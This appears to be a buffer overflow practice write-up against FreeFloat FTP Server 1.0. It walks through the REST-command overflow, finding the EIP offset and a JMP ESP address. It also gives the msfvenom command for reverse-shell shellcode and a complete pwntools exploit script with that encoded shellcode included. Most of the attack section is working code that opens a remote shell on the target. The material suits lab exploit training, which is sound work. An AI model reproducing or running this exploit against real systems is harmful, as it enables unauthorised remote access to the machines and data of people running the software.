FreeFloat FTP Server 1.0

Standard buffer overflow practice.


Standard VM setup:

  • Kali Linux

  • Windows 7 x86 Ultimate

    • Immunity debugger

    • Mona

    • x64dbg

Download Freefloat FTP server from here ( Make sure you run this in the VM itself, the file may or may not harm your computer. Be careful.

The application is a standalone binary file which once run, exposes the port 21 on all interfaces and minimizes as an application in the doc. Ensure that your firewall is turned off, all the way down, else port 21 may not be exposed.

FreeFloat FTP Server Application interface

Finding EIP offset

I am referring to the exploit here (, so we'll be exploiting the REST command after the successful login.

We can test the workings using the following python script.

from pwn import *
p = remote("", 21)
p.sendline("USER test")
p.sendline("PASS test")
p.sendline("REST " + "A"*1000)

And we have the following output in our debugger.

We have successfully overwritten the EIP value

Now we'll try and find the exact offset value of the EIP using pwntools' cyclic function.

from pwn import *
p = remote("", 21)
p.sendline("USER test")
p.sendline("PASS test")
p.sendline("REST " + cyclic(1000))

We get 0x616D6361 as our EIP value and on inspection with pwn cyclic we know that the offset value is 246.

$ pwn cyclic -l 0x616D6361

Jumping to Shell-code

Now we have to find a way to jump to the shell-code as evident in the screenshot below that after 246 + EIP + Garbage, our ESP points to the garbage.

So now using x64dbg we'll find a JMP ESP instruction, however, using I noticed that all the modules/dlls loaded by the application have ASLR and re-base enabled, this means that I may have a tough time getting any hits on any dependable address. However, it turns out, that the addresses of the modules do not change even if the application restarts.

All modules have ASLR enabled.

Now I picked the first address out of all the results, however, choose to pick any that you feel comfortable with.

Now we'll verify if we actually jumped to the ESP section or not using the following python script with JMP ESP instruction.

from pwn import *
EIP = p32(0x751449f3)
p = remote("", 21)
p.sendline("USER test")
p.sendline("PASS test")
p.sendline("REST " + "A"*246 + EIP + "C"*750)

So we have successfully jumped to the ESP shell-code section, all we have to do now is generate the shell-code pad it a little with a NOP sled to ensure that it definitely gets hit and we are good to go.

Shell-code generation

We'll use msfvenom to generate the shell-code. We removed the few obvious bad characters to ensure that the exploit is not collapsed to bad characters.

msfvenom -a x86 -p windows/shell_reverse_tcp LHOST= LPORT=5555 -e x86/shikata_ga_nai -b "\x00\x0A\x0D" -f python

Final payload development

from pwn import *
p = remote("", 21)
buf = b""
buf += b"\xb8\x0e\x25\xce\xf9\xda\xd1\xd9\x74\x24\xf4\x5b\x29"
buf += b"\xc9\xb1\x52\x83\xeb\xfc\x31\x43\x0e\x03\x4d\x2b\x2c"
buf += b"\x0c\xad\xdb\x32\xef\x4d\x1c\x53\x79\xa8\x2d\x53\x1d"
buf += b"\xb9\x1e\x63\x55\xef\x92\x08\x3b\x1b\x20\x7c\x94\x2c"
buf += b"\x81\xcb\xc2\x03\x12\x67\x36\x02\x90\x7a\x6b\xe4\xa9"
buf += b"\xb4\x7e\xe5\xee\xa9\x73\xb7\xa7\xa6\x26\x27\xc3\xf3"
buf += b"\xfa\xcc\x9f\x12\x7b\x31\x57\x14\xaa\xe4\xe3\x4f\x6c"
buf += b"\x07\x27\xe4\x25\x1f\x24\xc1\xfc\x94\x9e\xbd\xfe\x7c"
buf += b"\xef\x3e\xac\x41\xdf\xcc\xac\x86\xd8\x2e\xdb\xfe\x1a"
buf += b"\xd2\xdc\xc5\x61\x08\x68\xdd\xc2\xdb\xca\x39\xf2\x08"
buf += b"\x8c\xca\xf8\xe5\xda\x94\x1c\xfb\x0f\xaf\x19\x70\xae"
buf += b"\x7f\xa8\xc2\x95\x5b\xf0\x91\xb4\xfa\x5c\x77\xc8\x1c"
buf += b"\x3f\x28\x6c\x57\xd2\x3d\x1d\x3a\xbb\xf2\x2c\xc4\x3b"
buf += b"\x9d\x27\xb7\x09\x02\x9c\x5f\x22\xcb\x3a\x98\x45\xe6"
buf += b"\xfb\x36\xb8\x09\xfc\x1f\x7f\x5d\xac\x37\x56\xde\x27"
buf += b"\xc7\x57\x0b\xe7\x97\xf7\xe4\x48\x47\xb8\x54\x21\x8d"
buf += b"\x37\x8a\x51\xae\x9d\xa3\xf8\x55\x76\x0c\x54\x8e\x11"
buf += b"\xe4\xa7\x30\x0b\x46\x2e\xd6\x59\xb8\x67\x41\xf6\x21"
buf += b"\x22\x19\x67\xad\xf8\x64\xa7\x25\x0f\x99\x66\xce\x7a"
buf += b"\x89\x1f\x3e\x31\xf3\xb6\x41\xef\x9b\x55\xd3\x74\x5b"
buf += b"\x13\xc8\x22\x0c\x74\x3e\x3b\xd8\x68\x19\x95\xfe\x70"
buf += b"\xff\xde\xba\xae\x3c\xe0\x43\x22\x78\xc6\x53\xfa\x81"
buf += b"\x42\x07\x52\xd4\x1c\xf1\x14\x8e\xee\xab\xce\x7d\xb9"
buf += b"\x3b\x96\x4d\x7a\x3d\x97\x9b\x0c\xa1\x26\x72\x49\xde"
buf += b"\x87\x12\x5d\xa7\xf5\x82\xa2\x72\xbe\xb3\xe8\xde\x97"
buf += b"\x5b\xb5\x8b\xa5\x01\x46\x66\xe9\x3f\xc5\x82\x92\xbb"
buf += b"\xd5\xe7\x97\x80\x51\x14\xea\x99\x37\x1a\x59\x99\x1d"
offset = "A"*246
eip = p32(0x751449F3)
p.sendline("USER test")
p.sendline("PASS test")
p.sendline("REST " + offset + eip + "\x90" * 16 + buf)

After running this, we have our reverse TCP shell on the machine. However, it is a local user shell as the application is running as a user rather than the system.

Reverse shell available